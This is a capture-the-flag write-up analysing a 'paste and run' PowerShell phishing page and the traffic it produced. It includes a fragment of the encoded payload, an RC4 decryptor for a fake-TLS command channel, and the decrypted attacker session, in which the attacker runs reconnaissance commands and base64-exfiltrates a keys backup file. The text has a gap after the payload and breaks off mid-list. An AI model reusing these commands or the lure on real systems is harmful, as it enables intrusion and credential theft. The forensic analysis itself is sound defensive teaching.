I have captured some network traffic that may help you find out what is happening on my computer. Thanks a lot for the help! Regards,\ k3ng AU: [https://misc-fishy-website-a409b2d62edf.2025.ductf.net](https://misc-fishy-website-a409b2d62edf.2025.ductf.net/)\ US: [https://misc-fishy-website-a409b2d62edf.2025-us.ductf.net](https://misc-fishy-website-a409b2d62edf.2025-us.ductf.net/) #### Attachments * [capture.pcapng](https://storage.googleapis.com/downunderctf-2025-noctf-files/noctf-files/r9AVugE4MhdcbwYjjuGvp?X-Amz-Algorithm=AWS4-HMAC-SHA256\&X-Amz-Credential=GOOG1ELBSKCSEHWDHBGZCFZBP3RXLJBHVAZJTTYKCMYMRJRM6O5N35G46S26H%2F20250721%2Fauto%2Fs3%2Faws4_request\&X-Amz-Date=20250721T094000Z\&X-Amz-Expires=1200\&X-Amz-SignedHeaders=host\&X-Amz-Signature=cd2dbec1ebb0da8a11eaa0e1b4a2168527e61e97577538f68fca0891dce526dc) ### Solution We were given a link and pcapng file. If we access the link, we see that it will redirect us to a login page. Anything that we type in the sign in page is valid (for example, as you can see, i put **a** and **a** as the username as password)
After that, it redirects to the page, which instructs us to copy and paste a PowerShell script into our Windows machine. I found this quite interesting because some time ago, I wrote an article titled *The Anatomy of a “Paste n Run” Phishing Attack*, which explains how this type of phishing attack works—matching the theme of the challenge titled “fishy website.”
We now need to download the suspicious script and analyze it. We find out that this is an encoded powershell script ```powershell powershell -EncodedCommand                               $ B B B 8 8 B 8 B 8 8 8 B B B 8 8   =   0 x f 1 , 

Sends a fake TLS `ClientHello` to appear legit 2. Reads the response (which is RC4-encrypted) 3. Decrypts it using RC4 and executes the received command 4. Sends the command output back, also RC4-encrypted and wrapped in a fake TLS Application record We suspect that there is a C2 communication that is established between the victim and attacker, with the attacker using the fake TLS communications. Because we already get the pcapng file, we assume that the communication between the attacker and victim is recorded there We can open the pcapng file using Wireshark and search for the communication If we follow the TCP Stream, we see in the 26th stream this conversation. We see that the IP 192.168.190.128, possibly the victim, is making a GET request to the IP 20.5.48.200, possibly the attacker, and get the malicious powershell script
We continue to follow the TCP stream, and stumble upon this conversation. In the 37th stream, there is a communication in which the victim initiate a Client Hello, and the attacker response with Server Hello, and the communication continue using TLS protocol. We see earlier in the powershell code that this is a custom TLS that is using RC4
To learn more about the conversation, we can try to decrypt the stream. We already knew the RC4 key (hardcoded in the script), so we can use it to decrypt it too What we need to do now is : 1. Extract all packets from that TCP stream (`tshark -r capture.pcapng -Y "tcp.stream == 37" -w stream37.pcapng`) 2. Export just the TCP payload (raw data) (`tshark -r stream37.pcapng -T fields -e tcp.payload > stream37.hex`) 3. Convert it to raw binary (`xxd -r -p stream37.hex > stream37.raw`) This is the solver that i use to decrypt it ```python from Crypto.Cipher import ARC4 rc4_key = bytes([ 0xf1, 0x6e, 0xcd, 0xc6, 0x79, 0x4c, 0x66, 0xd1, 0x02, 0xf8, 0x33, 0xc4, 0x86, 0xe7, 0xa4, 0x35, 0x8d, 0x69, 0xbd, 0xd2, 0x1d, 0x50, 0xf5, 0xfb, 0xdf, 0xec, 0xaf, 0x0b, 0x9e, 0x53, 0xa4, 0xd3 ]) def decrypt_stream(filename): with open(filename, 'rb') as f: data = f.read() offset = 0 while offset + 5 < len(data): if data[offset] == 0x17 and data[offset+1:offset+3] == b'\x03\x03': length = int.from_bytes(data[offset+3:offset+5], 'big') start = offset + 5 end = start + length if end > len(data): break record = data[start:end] if len(record) < 4: continue encrypted = record[:-4] cipher = ARC4.new(rc4_key) decrypted = cipher.decrypt(encrypted) try: decoded = decrypted.decode('utf-8', errors='replace') except: decoded = repr(decrypted) print("\n[+] Decrypted record:") print(decoded.strip()) offset = end else: offset += 1 decrypt_stream("stream37.raw") ``` Here is the decrypted stream payload ``` jedi@aqua: /mnt/d/CTF/ductf/misc $ python3 fishy_decryptor.py [18:48:49] [+] Decrypted record: $env:COMPUTER [+] Decrypted record: DESKTOP-PIVSTG0 [+] Decrypted record: $env:USER [+] Decrypted record: jdoe [+] Decrypted record: [System.Net.Dns]::GetHostByName($env:COMPUTERN [+] Decrypted record: HostName Aliases AddressList -------- ------- ----------- DESKTOP-PIVSTG0 {} {192.168.190.128} [+] Decrypted record: (Get-CimInstance Win32_OperatingSystem).Cap [+] Decrypted record: Microsoft Windows 10 Home [+] Decrypted record: whoami / [+] Decrypted record: PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled [+] Decrypted record: net session 2>&1 | Out-Null; if ($LASTEXITCODE -eq 0) {"Admin"} else {"Standard Us [+] Decrypted record: Standard User [+] Decrypted record: ls $ [+] Decrypted record: Directory: C:\Users\jdoe Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 6/6/2025 7:31 PM 3D Objects d-r--- 6/6/2025 7:31 PM Contacts d-r--- 6/6/2025 7:31 PM Desktop d-r--- 7/9/2025 8:39 PM Documents d-r--- 7/9/2025 8:33 PM Downloads d-r--- 6/6/2025 7:31 PM Favorites d-r--- 6/6/2025 7:31 PM Links d-r--- 6/6/2025 7:31 PM Music d-r--- 6/6/2025 7:38 PM OneDrive d-r--- 6/6/2025 7:34 PM Pictures d-r--- 6/6/2025 7:31 PM Saved Games d-r--- 6/6/2025 7:34 PM Searches d-r--- 6/6/2025 7:31 PM Videos [+] Decrypted record: ls $HOME\Docum [+] Decrypted record: Directory: C:\Users\jdoe\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/9/2025 8:38 PM 157 keys_backup.tar.gz [+] Decrypted record: [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\jdoe\Documents\keys_backup.tar.g [+] Decrypted record: H4sIAAAAAAAAA+3OMQrCQBSE4dSeIieQt3m78QCKlYVorBdZjYVgkeyCQby7iyCIfdTi/5qBaWbOx6GfxmssRiRZbe0zs88UcVoYJ6q1VlJp7mc2V6WMeeol9XHfleU3pv7RYjdvljfjT0md84MkH+zFHzRshnXjm9XWx862rQn3ya+vAgAAAAAAAAAAAAAAAADePAC9uw8vACgAAA== [+] Decrypted record: ``` We see from the decrypted stream payload that : 1.
